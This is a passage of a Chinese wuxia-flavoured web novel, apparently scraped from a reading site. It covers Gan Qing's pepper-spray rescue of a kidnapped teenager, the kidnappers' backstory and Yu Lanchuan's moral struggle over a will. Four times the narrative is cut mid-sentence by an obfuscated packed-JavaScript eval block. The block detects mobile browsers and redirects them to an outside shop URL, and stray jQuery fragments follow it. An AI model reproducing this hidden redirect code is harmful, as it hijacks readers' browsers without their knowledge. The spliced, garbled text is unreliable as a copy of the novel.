喻兰川:“我弟弟失踪,大概率被人绑架、大概率会受到人身伤害,由此可能产生的伤、残或者死,任何一个恶劣结果我都不能接受,也没法跟我爸妈交代,所以我现在非常、非常焦虑。您之所以遇事淡定,是因为您在贵帮里有权力感和控制力,而控制力往往是对抗焦虑的有效武器。所以当您回首往事,发现自己变得风轻云淡,其实很可能不是因为您修了所谓的‘心’,而是您随着年龄的增长和能力的提升,获得了更多的控制力。”
老杨:“……”
玄学课变成了社科理论课。
喻兰川:“不好意思,我现在说这么多废话,其实也是在对抗焦虑。”
就在这时,老杨的老人机响了,喻兰川倏地坐直了,一直在外面抽烟的于严也冲了进来。
老杨给了他俩一个稍安勿躁的眼神,接起来,片刻后,他挂断电话,报了几个地名:“这几个地方的兄弟们报说,看见过可疑的人,但不确定是不是咱们要找的,得你们警察确认了。”
于严一跃而起:“明白,我们分别去调附近的监控!”
“燕宁这种地方是有很多监控的,真的,不骗您,也就泥塘后巷那种小旮旯没有,能让你们侥幸逃脱。昨天晚上,这位扛着这么大个人,大摇大摆地从泥塘回到这,不知道被多少镜头拍到过,只要警察缩小调查范围,他们有的是技术能找到你。”甘卿停下脚步,在距离流氓三人组不到两米的地方站定了,从包里摸出被光头砸断的木牌,很有礼貌地询问光头,“另外我请问一下,这是您给我留下的吧?”
刚才还恨不能手撕了光头的瘸腿二师兄见到外人,却上前一步,挡在光头面前:“是哪一路的高人?”
“哪一路也不是,也不高,”甘卿无奈地摊开手,露出细伶伶的一截手腕,右手还在轻轻地颤抖,“那天这位光头大哥一直跟着我,我有点害怕,所以装神弄鬼来着,其实没什么,就是那一片我熟您不熟,有几个看着像死胡同的地方——其实有个小缝能钻过去,人瘦就行,快跑两步的事。哦,对,我还拿小孩玩的塑料枪打了您一下,能打中,我也没想到,可能是您那天喝酒了吧。”
光头:“……”
“大概就是这么回事,您要是没地方撒火消气,觉得打女人也心安理得,那您打我一顿也行,反正我来都来了,也还不了手。只要打不死,以后没人找你们麻烦。”甘卿低声下气地说,“把那孩子放了吧,等警察来了,这事性质就变了。”
刘仲齐听完,又不知道从哪攒了一把英雄胆,剧烈地挣扎起来:“你快……呃……快跑!”
甘卿叹了口气——这孩子记吃不记打,应该是没打疼的缘故,还好,看来也没受什么罪。
“撒你妈的火!”光头带着哭腔,跑着调说,“让这小子家里拿五十万来,少废话!”
“我不知道您要五十万干什么,”甘卿又朝他们走了几步,很平静地和光头对视,“但是现在警察已经立案了,您看过电视也知道,警察肯定不会让你们一手交人、一手交钱的。那到时候您打算怎么办呢?您其实也不知道,对吧?”
刀疤脸下意识地推了她一把:“别过来!”
甘卿就像个轻飘飘的风筝,被刀疤脸这一巴掌推得连退了好几步,城中村的地不平,她脚下一绊就摔了,肩头的破布包也滚在地上,滚了一层浮土。
她手忙脚乱地伸胳膊撑住自己,手掌立刻搓破了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728783|189577||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
皮。
甘卿“嘶”了一声,狼狈地苦笑起来:“大哥,您还真跟我动手啊。”
瘸腿二师兄略微提起肩,若有所思地站直了——练过的人,往后摔的时候,是不会伸胳膊撑地的,这样很容易受伤,都是小时候师父教的第一课。
可能是怕再摔一下,甘卿干脆坐在地上没起来,拍了拍手上的尘土,她笑了一下:“我总觉得,真想要钱的人,做事会更有计划一点,您这就是在撒火——怨要钱的人,怨花钱的人,怨自己本事不够大,赚不来钱……借酒浇了愁,酒一醒,又怨自己管不住嘴……”
“闭嘴!”光头满口污言秽语地喷了起来。
甘卿神色不变,好像入耳的只是一段狗叫,就在这时,瘸腿二师兄突然出手,却不是对付甘卿,而是一掌侧切,砸上了光头的手肘,这一下正中麻筋,光头勒着刘仲齐脖子的胳膊倏地脱力,瘸腿二师兄一把将刘仲齐拽了出来。
几乎同时,光头反应过来了,大吼一声,不依不饶地扣住了刘仲齐的肩膀,师兄弟两个一人拽着倒霉的人质一边,像是要表演手撕肉票。
瘸腿二师兄:“松、手!”
光头梗着脖子喘粗气。
甘卿的嘴角轻轻地一翘,对这种内讧情节非常喜闻乐见。
她感觉火候差不多了,就拿出了在店里忽悠冤大头的神棍腔,幽幽地在旁边插了一句:“大哥,您借酒浇愁,酒醒后悔,借人撒火,事后更得后悔,这两件事本质上没什么区别。您既然这么痛恨自己的酒瘾,为什么还老干这种事?一个坑到底能绊你多少次啊?”
光头倏地一颤。
甘卿:“警察来之前,一切都来得及。你现在放了他,不算绑架勒索。有时候一步走错,这辈子等着你的就都是荆棘小路,你看着别人的康庄大道,再也转不过来了,值吗?”
光头不知道听进去多少,瘸腿二师兄却微微一愣,仿佛出了神。
刀疤脸急得要哭:“三师兄,你快行了吧!”
二师兄回过神来,目光微闪,放轻了声音:“钱的事,大师兄的病,咱们哥仨一起再想办法,听话。”
秃头两颊绷得死紧,片刻后,快要掐进刘仲齐肉里的手指终于渐渐地卸了力。
在场所有人都松了口气。
瘸腿二师兄把快要吓哭的少年往自己身边拉:“志勇,你啊……”
然而就在这时,异变陡生。
锁定了绑匪位置的警察们偏偏在这一刻赶到了。
早几分钟,他们会见到穷凶极恶的犯罪分子,抓他或是打死他,都理所应当。晚几分钟,瘸腿二师兄会把刘仲齐还给甘卿,这事或许能大事化小,小事化了。
然而……
可能是命运也欺软怕硬吧,老天爷专挑倒霉的蛋玩。
甘卿愣了一下,不喜反惊,心想:“坏了!”
瘸腿二师兄和光头在惊骇之下,下意识地做了同一件事――他俩同时下了死力气,把刘仲齐往自己这边拉,瘸腿二师兄一把抓向少年的脖子,光头则因为高,张手一搂,正好卡在刘仲齐口鼻间。
瘸子想的是:老三还年轻,这罪名我这残废替他担。
光头想的是:我不能连累师兄。
他们常年游走在社会边缘,一见穿制服的人,下意识就觉得自己有罪,一时间,他们脑子里除了“负隅顽抗”与“认罪投降”,眼下好像就没有第三条路。
只有活得游刃有余的人,思路才开阔,那些走投无路的,都不知道变通。
可这二位手里抢的是个大活人,这一左一右要是拽实在了,刘仲齐的小细脖非得当场折断不可!
就在这时,一道幽灵似的影子倏地掠过,枯瘦的手凭空插了进来――
14. 第十三章
传统上,过招之前得先“亮明兵刃”,不管兵刃是“明刀”还是“暗箭”,亮明了,几丈的长刀和半寸的绣花针都可以使。
但如果大家默认了用拳脚,你打到一半,突然袖里藏刀,冷不丁地扎别人一下,那这就是卑鄙无耻、不讲规矩了,属于地痞混混一流。
……甘卿,可能走的就是“地痞混混”路线。
谁也没看清她是怎么从地上蹿起来的,眼前一花,她人已经到了光头和瘸子之间,手肘撞向瘸腿二师兄的手腕,与此同时,她指间寒光一闪,像是捏着把小刀之类的东西,带着厉风,削向光头的小指。
动作极其刁钻、极快。
手腕处有脉门,光头更是不可能徒手抓凶器,两人同时一凛,各自退避。甘卿的手肘虚虚地磕在了瘸子手指尖上,“指间刀”也落了空。
这时,两人才发现不对劲,原来她只是动作唬人,手肘却软绵绵的,根本没什么力气,手指间“哗啦”一响,捏得也不是什么“指虎”、“指间刀”,是把钥匙!
就在这时,甘卿跟变魔术似的,手里的钥匙一闪就不见了,不知从哪弄出了一个小喷雾,没等绑匪们反应过来,就是劈头盖脸的一通狂喷。
瘸子和光头正在应激状态,拳架已经拉开,眼睛特意瞪得比平时大,被辣椒水彻彻底底地滋润了一遍。
那一瞬间,两位绑匪爆出来的惨叫好像要震碎苍穹。
甘卿敏捷地压着刘仲齐的脖子一弯腰,从光头胡乱挥过来的胳膊底下钻了过去……姿势有点像传说中的“就地十八滚”,非常没有高人风范。
随后,赶来的警察们趁机一拥而上,把绑匪团伙控制住了。
刘仲齐还没从刚才那可怕的生死一刹里回过神来,呆呆的,甘卿就伸手在他面前晃了晃:“哎,没事吧?”
她手里辣椒水喷雾没来得及收起来,余威尚在,刘仲齐:“阿——阿嚏!”
他涕泪齐下地连打了五六个大喷嚏,差点把两只眼珠一并喷出去,尊严全无。于是干脆破罐子破摔,抽噎两声,在众目睽睽之下,咧嘴大哭了起来。
没人给他过生日,明天就要开学,一天被绑架了两次,还差点被个光头狗熊勒死……桩桩件件,哪个破事拎出来,不值一场大哭呢?
可是值得哭的理由太多,能哭的机会太少,总是不够分。
幸好,今天这些事都攒在一起发生了。
喻兰川大步朝他走过来,本来在“揍他一顿”和“哥哥错了么么哒”之间举棋不定,一张脸时阴时阳,结果被刘仲齐这一嗓子吓了个趔趄,隔着一米远没敢靠近,跟旁边的甘卿面面相觑。
他有很多话想问甘卿——你怎么知道老杨大爷是丐帮的?
为什么能在丐帮和警察之前就找到这伙人的?
你早知道是他们干的?
为什么一个竹竿似的女孩子敢单枪匹马地来找一伙绑匪?
你到底是什么人?
可是旁边有个张着大嘴哭成□□的傻弟弟,实在也不是问话的时机。喻兰川只好先冲甘卿点了个头,跟她一起不知所措地看着刘仲齐。
警车把这一干人等都卷了回去,围观群众们也都各自回了麻将桌,这个开头很惊悚,结尾有点滑稽的闹剧就此尘埃落定。
于严来到喻兰川家的时候,天已经快黑了。
“你弟呢?”
“睡了。”喻兰川给他倒了一杯可乐,指了指紧闭的卧室门,“昨天一晚上没合眼。”
“这倒霉孩子,算了,我跟你说说大致情况吧。”于严坐下来,把光头跟踪甘卿、被甘卿整,到发泄怒火绑走刘仲齐的整件事情始末,从头到尾讲了一遍,“其实一开始是乌龙,后来发展成见财起意,想跟你要五十万……唉,我觉得这几位今年可能是犯太岁,看他们挑的人,你长得像有五十万的吗?”
连五万也拿不出来的喻总心里很凄凉。
于严:“不过这回你得谢谢那饰品店的姑娘,当时要不是她机灵,随身带了自制的防狼喷雾,你弟弟现在早就在医院里躺着了。”
防狼喷雾要是真那么好使,哪还有那么多恃强凌弱的暴力犯罪事件?
喻兰川朝于严翻了个白眼,心想:你自己喷一个试试。
半瓶辣椒水解决两大高手,眼力一定得非常准,动作一定得非常快,绝对不是“碰运气”能碰出来的。
甘卿……那个甘卿一定有秘密,只不过她既然自己不想透露,又刚刚出手帮了他,喻兰川也不方便在别人面前多嘴,于是岔开话题,问:“他们要钱干什么?”
“说是给他们师父的儿子看病。”于严叹了口气,“这哥仨都是他们师父养大的,师父前些年出车祸没了,留下一对孤儿寡母……他们称呼还怪江湖的,叫‘大师兄’和‘师娘’。原来在老家开拳馆,不过他们那种小地方,也没几个学生,这几个人业余时间就瞎混,收点孝敬、保护费什么的,本来过得也还算挺滋润。后来大师兄生了重病,当地治不了,只好凑了二十来万到燕宁来。听着是挺不少,可是钱嘛,到医院里就是纸了。”
喻兰川冷冷地皱起眉:“没钱还不找个正经工作,继续在燕宁收保护费?”
“也可以这么说吧,”于严抓了抓头发,“郑林——就那瘸子,年轻时候为了钱,去打过那种噱头很足的格斗比赛,唉,其实就是黑拳。别人骗他说这样能快速提高知名度,能帮他抬身价,将来进个好俱乐部打职业赛,郑林没什么文化,听人吹得天花乱坠,他就信了。”
喻兰川翘起二郎腿,不耐烦地“啧”了一声。
“他也算是有点功夫,刚开始一直赢,这个‘虎’那个‘龙’的,外号满天飞,捧得他忘乎所以,结果有一次就被人阴了。那次他们让他跟一个体重有他两倍的人对打,事先说好了,为了让比赛精彩好看,他得先故意挨一下,假装倒地,然后再绝地反击,对手也打点好了,打他那一下是做样子,不会来真的。”
“等真上场的时候,对手给他使了个眼色,郑林就做好了假摔的准备,谁知道对手突然不按说好的来,直接一脚高扫把他踢懵了,然后一顿暴揍,差点让人打死在擂台上,抬下去的时候一身血,从那以后一条腿就不行了。后来这哥
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728784|189577||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
仨去报仇,对方报警,一人留了一个案底。”
喻兰川:“……”
“他们仨那形象你也看见了,一身社会气,尤其那个刀疤脸,看着就吓人。”于严叹了口气,“出门安检,别人走过场,这三位得被拦下来查五分钟。出门应聘,老被人要求带着无犯罪记录证明……所以大概也是有点自暴自弃吧。”
两人好一会没说话。
玻璃杯里的碳酸饮料浮起细小的泡沫,上蹿下跳的。
喻兰川觉得这故事的核心思想是“傻X年年有,今年特别多”,一点也不引人同情,只是不知为什么,听完很容易勾起自己的烦心事。
刘仲齐新手机的包装盒还没来得及扔出去,这事兄弟俩有默契,一致决定不告诉父母——刘仲齐是嫌丢人,喻兰川是监护不利,交代不过去——于是买手机的钱当然也没地方报销。
配眼镜也不比手机便宜到哪去,好在他度数不深,可以先凑合活两天,数着日子等工资和季度奖……
对了,听说这回的季度奖还不太乐观。
于严把冰镇饮料喝了:“说真的,兰爷,你有没有差点失足的经历?”
喻兰川撩起眼皮看了他一眼,这会没戴眼镜,他那“衣冠禽兽”气质里的“衣冠”就没了,在人民警察看来,就像个正在失足的。
就在于严以为自己要收一个“滚”字的时候,喻兰川说:“有。”
于严差点从沙发上滑下去。
“我……前些日子跟我爸要了一份自愿放弃遗产声明,”喻兰川沉默了好一会,才说,“我大爷爷留下那份遗嘱没公证过,也没有备份,遗嘱信封上写了我的名字,我爸全权交给我处理,连看都没看过。”
遗嘱里写了什么,天知、地知、死人知,剩下的,全看喻兰川的良心。
于严张了张嘴。
“放弃声明刚寄到,”喻兰川低头看着自己搭在膝盖上的手指,“我爷爷奶奶的死亡证明也都盖好章了。”
于严:“也就是说……”
喻兰川意味不明地朝他笑了一下:“也就是说,我现在离八百五十万,还差一个碎纸机。”
于严咽了口唾沫,发现人民警察的直觉没有错,这个青年就是正在失足!
可是他没法站着说话不腰疼,因为易地而处……算了,也别易地了,一个月拿几千块钱的小片儿警想象不出来。
而对于喻兰川来说,没有这笔钱,他就是个负债三十年,暗无天日的房奴狗,天塌下来也不敢任性辞职。
拿到了这笔钱,他可以立刻把贷款清干净,凭他的收入,只要不沾黄/赌/毒,以后随便花天酒地,想辞职就辞职、想改行就改行、随时可以来一场说走就走的旅行。
大家都鄙视为了荣华富贵出卖良心的,可这不是“荣华富贵”,是自由。
人一辈子,有几个三十年呢?
于严跟他一起长大,知道喻兰川中二时期的座右铭就是“不自由,毋宁死。”
“兰爷……”
他话还没说完,喻兰川的电话响了,老杨大爷打来的。
15. 第十四章
喻兰川绕着绒线胡同转了八圈,也没找着能停车的地方,最后只好把车停在了八百米外的商场下面,再自己走回去,感觉还不如不开车。
一百一十号院的东院门出来,是一条很窄的单行线,马路对面有一排沿街的便民小店。
刚跟于严坦白完自己的心怀不轨,就被叫到这来,喻兰川觉得自己可能需要冷静一下,于是他在一家饮品店里点了杯凉茶,站在路口慢慢喝。
这时,他余光扫见了一个熟悉的人影——甘卿在隔壁水果店里,拿起这个放下那个,挑挑拣拣,不时往对面的“一百一”看。
喻兰川顺着她的目光一瞥,发现一百一十号院门口有两个乞丐打扮的人,正蹲在墙角说话。
两个乞丐聊了好半天,期间,甘卿在水果摊上磨磨蹭蹭,把一箱橙子挨个摸了个遍,终于,两个乞丐一前一后地走了,她这才直起腰,抠抠索索地摸出三个钢镚,顶着老板娘要咬死她的目光,买走了俩橙子。
她在躲丐帮的人?
喻兰川脚下轻轻一滑,无声无息地跟了上去。
可是追上去说什么,喻兰川没想好。
他是个典型的冷漠都市人,“关我屁事、关你屁事”协会的骨灰级会员,最讨厌管闲事。不管甘卿是躲丐帮的人、还是躲城管,跟他有什么关系呢?
这么一想,喻兰川又觉得自己今天有病。
甘卿走路的样子非常懒散,脚好像一直懒得抬,放松的双肩一摇一晃的。但仔细看,腰腹间却又是绷着劲的,那一点微妙的紧绷让她整个人就像一把捆起来的柴,再怎么晃,架子不散。
喻兰川看着她的背影,出了神,想起大爷爷从小教过他,人可以不用舞刀弄枪,当代社会,就算手无缚鸡之力也不影响什么。但行立坐卧,必须有规矩,虽然这些都是不费力的小事,但水滴都能穿石,姿势不对,该放松的地方紧张、该紧绷的地方松弛,那就是一年三百六十五天,每天坚持破坏自己的骨和肉,不用等到老,必先等到病。
比如走路,一口精气神都在腰腹间,要是塌了腰,脊梁骨就没了正形,人就不稳,不是上身往后仰,就得肩颈往前缩。
越往后仰,肚子越大,腿脚越不堪重负,腰椎、膝盖、脚踝、脚后跟,一个都别想好。越往前缩,后背越弯、身上的贼肉就都往后背跑,胸口会越来越薄、气越来越短,后背则越来越厚,慢慢的,就会像肩头颈后驮着个沙袋。
这根脊梁骨,今天无关痛痒地消磨一点,明天无关痛痒地消磨一点,短则几年,多则三五十年,先天再优越,也迟早得给消磨坏了。
脊梁骨坏了,肉身就算是完了。
大爷爷领着他在“一百一”的东小院里散步,讲过很多类似的话,小时候不懂,听完就算,大一点,才因为繁重的学业和事业,开始琢磨老人的养生之道,及至入了世,沉浮几年,偶尔想起,又觉得他说得那些养生之道也都意味深长。
武学一道,先是强身健体,沟通自己的筋骨,因此自视、自觉、自醒,再由此看万物与百态人间。
等他回过神来的时候,已经跟着人家一路进了一百一,马上要走到电梯间了。喻兰川自觉尴尬,正想超过她,假装只是碰巧同路,甘卿忽然回过头来,从塑料袋里掏出个橙子递给他。
喻兰川一愣,不明所以地看向她。
“看在你弟全须全尾的份上,”甘卿压低声音,“今天在那个城中村你看出了什么,不要跟别人说。”
喻兰川本来也没打算说:“你放……”
“放心”俩字没说完,甘卿就把那橙子塞进了他手里。
“给你点贿赂,”她似笑非笑地眨了一下眼,眼波倏地流动起来,瞬间,一个木讷寡言的乡下姑娘,就变身成了坑蒙拐骗的新式神婆,“万一透露出去,会有仇家来追杀我的,到时候你的良心和我的阴魂可都不会放过你的哦。嘘——”
喻兰川:“……”
什么乱七八糟的!
上了电梯,喻兰川才回过神来:“你行贿就拿一个橙子?”
甘卿不再装模作样,懒洋洋地说:“我明天才发工资,身上就剩最后三块钱了,那橙子一块五,给你的是我一半的身家性命,这还不够?那好吧,这个也给你,算我倾家荡产了。”
喻兰川:“……不了,我也没有那么穷凶极恶。”
这时,喻兰川按的六楼到了,他走下电梯,甘卿正要关门,他却忽然回过头来:“等等!”
甘卿一偏头。
喻兰川:“你是哪里人?”
甘卿:“你猜。”
“算了,”喻兰川直接问,“你十五年前,有没有来过燕宁?”
甘卿想都没想,毫不犹豫地回答:“不记得了,毕竟我今年才十六。”
喻兰川:“……”
甘卿逗完他,戳了戳电梯的关门键,往后退了一步,笑了笑,消失在了关上的门后。这一幕和十五年前城郊刻在他脑子里的画面重合度极高,喻兰川差点追上去,就在这时,身后忽然有人说:“来了啊,进去吧,老头等着你呢。”
喻兰川一回头,看见老杨大爷的孙女杨逸凡叼着根烟走了出来:“一把年纪了,就他最忙,一天到晚有莫名其妙的人上门,不知所谓。”
说完,她朝天花板翻了个白眼,把包往肩上一甩,踩着羊皮底的小高跟走了。
喻兰川非常茫然,不知道自己哪得罪她了,进门一看,才意识到杨小姐针对的不是他——老杨大爷家里,来了个老太太。
老太太看着和杨大爷差不多的年纪,满头白发,干瘪瘦小,脸上的肉顺着两腮垂下来,跟嘴一并,组成了一个三角,透着几分凶相、几分刻薄,还有点可怜的苍老。
喻兰川还没来得及细想她是谁,老太太就扶着沙发站起来,“噗通”一声给他跪下了。
喻总虽然在外面总是一张“都给哀家跪下”的嘴脸,却还是第一次有人真给他行此大礼,吓得他扶着门框足足愣了两秒,才手忙脚乱地跑过去扶她。
“有、有有有话好好说,您这是干什么!”
老太太看上去顶多八十来斤,喻兰川伸手一扶,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728785|189577||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
却发现她跟长在地上一样,他两只手没能拉起来。
“钱大娘,”杨大爷叹了口气,发话说,“他是小辈,您这不是折他吗?有什么事,快起来说吧。”
喻兰川这才觉得手里一轻,连忙提心吊胆地把老太太端起来,安放在沙发上。
这时,他已经大概猜出了这老太太是谁。
果然,杨大爷说:“这位是钱大娘,以前与丈夫并称‘二钱’,在南边是有名的义士,腿功卓绝,过去烧煤的那种旧火车都不如她快,早年间,西南一带有地痞匪帮沿铁路打劫,直接钻窗上车,抢了东西就跳车跑,那时候乘客们都不敢开窗户,就是这贤伉俪牵头护路,帮着抓了不少坏胚。只可惜……”
“杨帮主,别提了,我无地自容啦。”钱老太打断他,“我家老头的脸面,都被我这老不死和几个劣徒丢光了,以后死了下去,我都得躲着他——小喻爷,对不住,实在是不知道那天泥塘后巷里的孩子是您兄弟,我那几个徒弟还……还……”
喻兰川心想:这是人话吗?
别人家孩子就能随便碰瓷、随便绑?
但是教养使然,老太太这么一大把年纪了,他也不方便张嘴开喷,于是淡淡地说:“没什么,警察说了,后面的事您也确实不知情。要是普通的民事争端,我们肯定也就算了,但是上升到刑事问题,不是我们说一声‘算了’,警方就不予追究了,我也无能为力,您理解吧?”
钱老太的眼泪一下就下来了,连声说了三遍“我知道”,又说:“不敢厚脸皮求您。”
“国有国法,小川,坐吧。”老杨大爷说,“钱大娘今天过来,主要是过意不去,想见见你,和你说几句话。她没有别的意思。”
钱老太一边抹眼泪,一边断断续续地说话。
她和她过世的丈夫,早年是当过真英雄的,那时候风华正茂,意气风发。后来丈夫一场车祸没了,只给她留下了一个病秧儿子和三个收养的小徒弟。一个女人养活四张嘴,本来已经举步维艰,紧接着,时代剧变,风雨交加,送一些人上青天,一些人沉下地,有人一夜暴富,也有人失业下岗。
钱老太不幸就是后者。
再后来,意气这玩意,就像不良姿势消磨脊梁骨一样,被日常琐事日复一日地消磨,磨着磨着,她就没了人样,以至晚节不保。
只有在昔日的旧友向小辈人提起“二钱”的时候,她才依稀回忆起了当年,几十年积累的厚颜无耻被过去的荣光轻轻一照,竟一溃千里。
钱老太说着说着,就泣不成声。
她一时恍惚,想不通自己怎么会这样。
可能英雄就不该活这么长吧。
喻兰川抽了几张纸巾递过去,没吭声。
老杨大爷等钱老太哭声渐小,才伸手一指楼上,对喻兰川说:“小川可能不知道,当年你大爷爷买这房的时候,钱大娘听说,不远万里地托人捎来了两百块钱。她哪有钱啊,那都是从牙缝里抠出来的。”
喻兰川:“……”
“日。”他心里骂了句脏话,“债主!”
16. 第十五章
因为儿子暂时进了ICU,钱老太才有时间从医院里出来,很快还要赶回去,病人情况不稳定,晚上还不一定会发生什么事。
她年纪太大了,没有精力在照顾垂死病人之余,再去想办法打听三个徒弟的情况,只好先顾着一边。
ICU门口就像旧时的春运火车站,躺满了打地铺的人,角落里一条小被铺就的地方是钱老太的,那条小被子红粉相间,是她结婚那年自己做的被面。
几个病人家属在一边轻声说话,可能是在商量住院费用的事,说到一半有点气急败坏,被路过的护士提醒了,于是各自散开生闷气,泾渭分明地分成了几拨,跑到外面去抽烟。
还有人在打电话,坐在地上,背靠着墙,说话都用气声,听着也像个垂危病患。
更多打算在这过夜的人们都已经躺下了——单是躺,除了流浪汉,没几个人能在这种地方安睡,有人翻来覆去,有人面壁一动不动,有人缩在外套里一刻不停地按手机,躺累了就要起来坐一会。
这里没有人哭哭啼啼,也没有什么关于生命的神圣与思考。
大家看起来都很累。
躺下的时候,钱老太想:“又抢救过来一次。”
她自己听着,觉得心里这声音既不是庆幸,也不是感激,没敢细想,于是翻了个身,把随身的布包紧紧地按在怀里,里面有杨帮主刚刚取给她现金两万。
杨帮主送走了钱老太,拎着他的绿拐杖,从路口的自动柜员机慢慢地往回走。喻兰川在旁边陪着他,垂下眼,他不紧不慢地开了口:“爷爷,我明天还得上班,送您回家,我就先走了。”
老杨大爷看向他。
喻兰川优美的侧脸像是流水线上生产的,烙着高级白领们标配的表情——左半张脸是“我赶时间”,右半张脸是“不感兴趣”,脑门上顶一个“哦”。
“需要受害人谅解书,我可以给,没问题。”喻兰川说,“需要我帮忙,我可以提供几个朋友的联系方式,都是在筹款平台工作的,可以帮他们做一个募捐项目。项目上台,我还可以帮忙转发,证实筹款真实性。”
老杨大爷没听说过这种新鲜的东西,今年过年,他老人家就学一个收发红包,家人教了三遍,忘了四遍,差点把孙女逼得上吊,于是他忙问:“还可以这样?能筹到钱吗?”
喻兰川避重就轻地说:“有人捐就能筹到。”
至于有没有人捐,喻兰川不太乐观,大家都“身经百骗”了,现在上网搜索公益组织的名字,下面的关联问题里准有“XX靠谱吗?是骗子吗?”之类。
“别做梦了,肯定没人捐。”旁边忽然有人插嘴,两人一抬头,见杨逸凡从自己的车里爬出来,正在跟代驾挥手,一看就是出门应酬喝了酒,她晃晃悠悠地走过来,没大没小地伸出一条胳膊,往老杨大爷肩上一搭,“这个故事要多无聊有多无聊——中年男子,没钱治病,生命垂危——爆点在哪?生命垂危的中老年男子满世界都是啊,爷爷!他有什么地方能吸引流量啊?”
老杨大爷被她的香水味熏了个喷嚏,肩头一耸,把她抖落下去:“你给我好好站直了,二流子似的,没个人样!”
“爷爷,现在跟以前不一样了。”杨逸凡才不听他那套,当着老头的面叼了根烟,“您没听说过那句话吗?‘穷则独善其身,达则买包买表’,别人的事,让社会公共服务机构去管,我既然纳了税,就已经尽到了我的社会义务,等于间接帮过他们了!他们还有困难,那也没办法,只能说是公共福利不够分,有比他们更需要帮助的人排在前头,您说,是不是这个道理?”
老杨大爷:“滚滚滚……滚!屁事不管,还说风凉话,滚回去自己醒酒!”
杨逸凡笑了一声,插着兜,喷云吐雾地走了。
喻兰川——因为和老杨大爷没有那么熟,不好像人家亲孙女一样口无遮拦,只好用面部表情和肢体语言表达了对杨小姐的赞同,礼貌地跟老杨大爷告了别:“那我先去十楼看一眼有没有需要清的水电费,先走了。”
对于当代年轻人来说,“管好自己的事,不给别人添麻烦”,就是最高的自律和道德准绳,相比而言,老一辈人那种“道义为先、不分彼此”的社交观念简直就是封建余毒。
老杨扶着拐杖站在院子里,一抬头,看见将圆的月亮,就知道是快到“十五”了,这月十五是中元节,居委会提前半个月就挂出了海报,提示人们“文明祭扫,禁止焚烧纸钱”,连死人都要“文明”了!
他觉得自己老了,江湖也是行将就木,意气尽了。
喻兰川把大爷爷家检查了一遍——上次走的时候忘了关窗户,屋里落了一层浮土,他盘算着等下周末请个钟点工过来,以后每月打扫一次。心不在焉地关灯锁了门,喻兰川还是没想好该怎么处理这房子。
经过隔壁,他脚步顿了顿,想起了那个一身秘密的甘卿。
他神色有些复杂地注视着1003的门牌,心想:她到底是不是那个人?
突然,1003的门从里面开了,喻兰川还没反应过来,甘卿就探出头来:“什么事?”
喻兰川目光闪了闪:“……路过。”
说完,他抬腿就走,甘卿却忽然叫住他:“哎,等等。”
喻兰川心里无端一跳,扭过头去,就看见甘卿在兜里摸了半天,摸出一卷皱巴巴的零钱,她把其中面值二十元以上的票挑挑拣拣,捋成一沓,递给他:“麻烦帮我给那几个人的师娘送过去吧,我不方便露面,我也没几块钱,就当给老太太买顿饭。”
喻兰川一挑眉。
“我今天要不是为了省几块钱,非得等普通公交,说不定能早点到,早五分钟,这事也不一定是这个结果。”甘卿带着坦然的穷酸气,有点过意不去地捏了捏剩下的毛票,“主要是……我看见‘特’字头的车抬不起脚,条件反射,不是故意的。”
喻兰川接过那一沓零钱:“你不是说你身家性命就剩三块了吗?”
“是啊,”甘卿理直气壮地说,“可你不是都知道我骗你了吗?”
怎么那么天真可爱的,还信?
喻兰川:“……”
她肯定不是!
回去以后,喻兰川说到做到,先是跟刘仲齐聊了聊,出了份谅解书,然后找熟人,在网上给钱老太挂了个“大病筹款”,就把这事撂下了。
有了这么个可怕的经历,麻烦精弟弟终于老实了,学校一开学,他就被拴住了,每天喻兰川加完班,他还没写完作业,总算是没时间出去惹是生非了。工作上,之前悬而未决的几个事都有了眉目,压力源短暂地减少了一些,让他松了口气,周五下班之前,他跟自己部门的人宣布“周末没事不用来公司”的时候,办公室喜庆得跟过年一样。
而钱老太的筹款项目,也意料之中的,没什么人关注。
大款孙女就知道“买包买表”,一毛不拔,老杨大爷只好找了他的几个老伙伴,大家数着退休金,凑了十几万。让人比较意外的是,刘仲齐居然从他的零用钱、以及红包机哥哥的日常
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 